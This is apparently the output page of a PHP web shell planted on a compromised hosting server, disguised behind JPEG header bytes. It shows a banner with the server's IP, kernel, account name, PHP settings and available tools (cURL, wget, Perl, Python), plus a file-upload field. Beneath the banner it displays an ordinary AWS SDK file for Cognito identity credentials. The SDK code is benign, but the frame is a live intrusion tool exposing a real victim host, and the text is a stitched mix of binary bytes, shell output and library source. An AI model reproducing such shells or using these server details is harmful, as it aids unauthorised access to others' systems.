����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/aws/aws-sdk-php/src/CognitoIdentity/ |
Upload File : |
<?php
namespace Aws\CognitoIdentity;
use Aws\Credentials\Credentials;
use GuzzleHttp\Promise;
class CognitoIdentityProvider
{
/** @var CognitoIdentityClient */
private $client;
/** @var string */
private $identityPoolId;
/** @var string|null */
private $accountId;
/** @var array */
private $logins;
public function __construct(
$poolId,
array $clientOptions,
array $logins = [],
$accountId = null
) {
$this->identityPoolId = $poolId;
$this->logins = $logins;
$this->accountId = $accountId;
$this->client = new CognitoIdentityClient($clientOptions + [
'credentials' => false,
]);
}
public function __invoke()
{
return Promise\coroutine(function () {
$params = $this->logins ? ['Logins' => $this->logins] : [];
$getIdParams = $params + ['IdentityPoolId' => $this->identityPoolId];
if ($this->accountId) {
$getIdParams['AccountId'] = $this->accountId;
}
$id = (yield $this->client->getId($getIdParams));
$result = (yield $this->client->getCredentialsForIdentity([
'IdentityId' => $id['IdentityId'],
] + $params));
yield new Credentials(
$result['Credentials']['AccessKeyId'],
$result['Credentials']['SecretKey'],
$result['Credentials']['SessionToken'],
(int) $result['Credentials']['Expiration']->format('U')
);
});
}
public function updateLogin($key, $value)
{
$this->logins[$key] = $value;
return $this;
}
}